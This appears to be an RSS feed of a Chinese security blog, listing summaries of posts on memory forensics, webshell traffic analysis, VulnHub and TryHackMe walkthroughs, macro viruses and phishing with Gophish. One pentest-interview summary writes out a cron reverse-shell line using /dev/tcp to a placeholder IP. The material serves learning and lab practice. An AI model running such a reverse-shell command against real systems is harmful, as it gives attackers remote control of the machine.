这里记录我在渗透测试、安全研究和日常折腾中踩过的坑。https://www.z0sen.com/zh-cnhttps://www.z0sen.com/archives/volatility/https://www.z0sen.com/archives/volatility/近来碰到一些 Windows 取证问题，其中内存取证这块发现比较有趣，学习了一下 volatility，将其安装使用过程记录了下来。Sun, 19 May 2024 12:01:14 GMTdefense-forensicsdfirblue-teamhttps://www.z0sen.com/archives/memoryforensics/https://www.z0sen.com/archives/memoryforensics/内存取证是一种数字取证技术，通过分析计算机系统的内存（RAM）数据来获取证据。内存取证的重要性在于内存中包含了系统的实时状态信息，如运行中的进程、网络连接、登录会话、解密密钥和其他潜在的证据。Sat, 18 May 2024 18:57:00 GMTdefense-forensicsdfirblue-teamhttps://www.z0sen.com/archives/behinder-flowanalysis/https://www.z0sen.com/archives/behinder-flowanalysis/冰蝎是一款基于 Java 开发的动态加密通信流量的新型 Webshell 客户端。老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显，容易被各类安全设备检测，实际场景中越来越少使用，加密 Webshell 正…Fri, 05 Apr 2024 13:53:18 GMTdefense-forensicsblue-teamtraffic-analysishttps://www.z0sen.com/archives/matrixbreakout2/https://www.z0sen.com/archives/matrixbreakout2/复盘 MATRIX-BREAKOUT:2：利用 graffiti.php 任意文件写入 webshell 获取立足点，再用内核漏洞 CVE-2022-2588 提权到 root。Fri, 22 Mar 2024 13:42:56 GMTwalkthroughlinuxvulnhubhttps://www.z0sen.com/archives/thm-lateralmovementandpivoting/https://www.z0sen.com/archives/thm-lateralmovementandpivoting/配置 kali 网络，通过 openvpn 接入实验环境 横向移动（Lateral Movement）是攻击者用于在网络中移动的一套技术。Mon, 27 Nov 2023 12:04:22 GMTred-teamactive-directoryred-teamtryhackmewindowshttps://www.z0sen.com/archives/thm-adenumeration/https://www.z0sen.com/archives/thm-adenumeration/Enumeration 即枚举，国内叫信息收集，AD Enumeration 即域信息收集。一旦拿到一组域内凭据，就可以使用已认证的访问权限开始枚举相关的域配置和域结构的各种详细信息，即使是非常低的权限也能做到。Fri, 03 Nov 2023 08:56:00 GMTred-teamactive-directoryred-teamtryhackmewindowshttps://www.z0sen.com/archives/thm-breachingad/https://www.z0sen.com/archives/thm-breachingad/通过 openvpn 接入内网 修改 DNS 设置：sudo nano /etc/resolv.conf 将第一条 DNS 设置为：nameserver 10.200.80.101 检测 DNS 设置是否生效 目前获取域…Sat, 28 Oct 2023 06:23:00 GMTred-teamactive-directoryred-teamtryhackmewindowshttps://www.z0sen.com/archives/thm-activedirectorybasics/https://www.z0sen.com/archives/thm-activedirectorybasics/活动目录（Active Directory，简称 AD）是一组连接在域内的计算机和服务器的集合，它们作为更大域森林中的一部分，构成了活动目录网络。Thu, 26 Oct 2023 14:34:00 GMTred-teamactive-directoryred-teamtryhackmewindowshttps://www.z0sen.com/archives/thm-windowslocalpersistence/https://www.z0sen.com/archives/thm-windowslocalpersistence/Add an unprivileged account to the Administrators group This will allow the account to access the server by us…Wed, 25 Oct 2023 12:06:00 GMTred-teamred-teamtryhackmewindowshttps://www.z0sen.com/archives/thm-windowsprivilegeescalation/https://www.z0sen.com/archives/thm-windowsprivilegeescalation/The weaknesses could be abused to privilege escalation Question: Users that can change system configurations a…Sat, 23 Sep 2023 09:47:00 GMTred-teamred-teamtryhackmewindowshttps://www.z0sen.com/archives/thm-enumeration/https://www.z0sen.com/archives/thm-enumeration/Question: What command would you use to start the PowerShell interactive command line? Answer: powershell.exe…Sat, 23 Sep 2023 09:32:00 GMTred-teamred-teamtryhackmewindowshttps://www.z0sen.com/archives/thm-thelayoftheland/https://www.z0sen.com/archives/thm-thelayoftheland/Let's start learning! Let's discuss the common network infrastructure in the next Task! use the netstat comman…Sat, 23 Sep 2023 09:29:00 GMTred-teamred-teamtryhackmewindowshttps://www.z0sen.com/archives/skytower/https://www.z0sen.com/archives/skytower/复盘 SkyTower：通过 SQL 注入拿到 SSH 凭据并借 Squid 代理登录，再利用 sudo cat 通配符越权读取 root 密码。Sat, 01 Jul 2023 11:30:00 GMTwalkthroughlinuxvulnhubhttps://www.z0sen.com/archives/pwnos-2/https://www.z0sen.com/archives/pwnos-2/复盘 pwnOS 2.0：利用 Simple PHP Blog 0.4.0 漏洞改密上传反弹 shell，再用配置文件中泄露的密码复用登录取得 root。Tue, 02 May 2023 13:35:00 GMTwalkthroughlinuxvulnhubhttps://www.z0sen.com/archives/pentest-interview-part03/https://www.z0sen.com/archives/pentest-interview-part03/这些攻击手法都可以让攻击者在域内进行横向移动，扩大攻击面，最终获取更高的权限。为了避免这些攻击，管理员应该加强对系统的管理，修补漏洞，加强密码策略，限制域内账号的权限等。Sun, 12 Mar 2023 15:29:00 GMTcareerhttps://www.z0sen.com/archives/pentest-interview-part02/https://www.z0sen.com/archives/pentest-interview-part02/通过序列化与反序列化我们可以很方便的进行对象的传递，本质上反序列化是没有危害的，但是如果用户对数据可控那就可以利用反序列化构造有效载荷攻击。反序列化是否存在危害的关键在于传输的数据可控或不可控。Sun, 12 Mar 2023 15:27:00 GMTcareerhttps://www.z0sen.com/archives/pentest-interview-part01/https://www.z0sen.com/archives/pentest-interview-part01/centos 的计划任务可直接通过/bin/bash反弹 shell：set x “\n /bin/bash -i > /dev/tcp/x.x.x.x/6666 0&1\n” ubuntu 的计划任务默认使用 /bin…Sun, 12 Mar 2023 15:25:00 GMTcareerhttps://www.z0sen.com/archives/sickos-1-2/https://www.z0sen.com/archives/sickos-1-2/复盘 SickOS 1.2：借 lighttpd 开启的 PUT 方法上传反弹 shell，再利用 chkrootkit 0.49 的 /tmp/update 缺陷提权到 root。Sun, 12 Mar 2023 12:07:00 GMTwalkthroughlinuxvulnhubhttps://www.z0sen.com/archives/stapler-1/https://www.z0sen.com/archives/stapler-1/复盘 Stapler 1：用 WordPress 插件 LFI 读取数据库凭据并上传插件反弹 shell，再借 peter 的 sudo 配置错误提权，另演示 CVE-2021-4034。Sat, 18 Feb 2023 07:59:00 GMTwalkthroughvulnhublinuxwordpresslfihttps://www.z0sen.com/archives/fristileaks-1-3/https://www.z0sen.com/archives/fristileaks-1-3/复盘 FristiLeaks 1.3：双扩展名绕过上传 webshell，经 cron runthis 与密码解密逐层横移，最终用 sudo doCom 二进制取得 root。Sat, 18 Feb 2023 07:56:00 GMTwalkthroughvulnhublinuxhttps://www.z0sen.com/archives/kioptrix-level-1-3/https://www.z0sen.com/archives/kioptrix-level-1-3/复盘 Kioptrix Level 1.3：SQL 注入取凭据后 SSH 登入并逃逸受限 shell，再利用以 root 运行的 MySQL UDF sys_exec 提权。Wed, 08 Feb 2023 08:24:00 GMTwalkthroughvulnhublinuxsqlihttps://www.z0sen.com/archives/kioptrix-level-1-2/https://www.z0sen.com/archives/kioptrix-level-1-2/复盘 Kioptrix Level 1.2：利用 LotusCMS RCE 反弹 shell，经数据库凭据登录普通用户，再借 sudo ht 编辑 /etc/sudoers 提权到 root。Mon, 06 Feb 2023 13:06:00 GMTwalkthroughvulnhublinuxrcesqlihttps://www.z0sen.com/archives/kioptrix-level-1-1/https://www.z0sen.com/archives/kioptrix-level-1-1/复盘 Kioptrix Level 1.1：SQL 注入绕过登录后借 pingit.php 命令注入反弹 shell，再用内核漏洞 CVE-2009-2698 提权到 root。Sun, 05 Feb 2023 13:53:00 GMTwalkthroughvulnhublinuxsqlihttps://www.z0sen.com/archives/kioptrix-level-1/https://www.z0sen.com/archives/kioptrix-level-1/复盘 Kioptrix Level 1：利用 Apache 1.3.20 的 mod_ssl 远程缓冲区溢出 OpenFuck 漏洞直接取得 root。Sun, 05 Feb 2023 11:27:00 GMTwalkthroughvulnhublinuxbuffer-overflowhttps://www.z0sen.com/archives/macro-virus/https://www.z0sen.com/archives/macro-virus/宏是使用 VBA 语言编写的，VBA 全称是 Visual Basic for Applications。Sun, 18 Sep 2022 08:24:00 GMTmaldevmacro-virusred-teamhttps://www.z0sen.com/archives/gophish/https://www.z0sen.com/archives/gophish/目前越来越多的红蓝对抗中，钓鱼邮件攻击使用的越来越频繁，也是比较高效的一种打点方式，常见的钓鱼邮件攻击一种是直接通过二维码、内嵌链接、直接索要敏感信息等方式钓运维人员、内部人员相关的管理账号密码，另一种通过携带 exe、…Mon, 29 Aug 2022 18:40:00 GMTsecurity-toolsphishingred-teamhttps://www.z0sen.com/archives/firewall/https://www.z0sen.com/archives/firewall/防火墙是一种用于监控入站和出站网络流量的网络安全设备，可基于一组定义的安全规则来决定是允许还是阻止特定流量。25 年多来，防火墙一直是网络安全的第一道防线。Fri, 18 Mar 2022 10:02:00 GMTsecurity-toolspfsenseblue-teamhttps://www.z0sen.com/archives/honeypot/https://www.z0sen.com/archives/honeypot/蜜罐的一个定义来自间谍世界，玛塔哈里（Mata Hari）式的间谍将恋爱关系用作窃取秘密的方式，被描述为设置“美人计”或“蜜罐”。经常会有敌方间谍中了美人计，然后被迫交待他/她所知道的一切。Sat, 29 Jan 2022 08:44:00 GMTsecurity-toolsblue-teamhoneypothttps://www.z0sen.com/archives/burplabs-logicsvlun/https://www.z0sen.com/archives/burplabs-logicsvlun/要求：本实验未充分验证用户输入，可利用逻辑漏洞购买一件"Lightweight l33t leather jacket"，测试账号为：wiener:peter。Tue, 11 Jan 2022 12:45:00 GMTwalkthroughweb-security-academy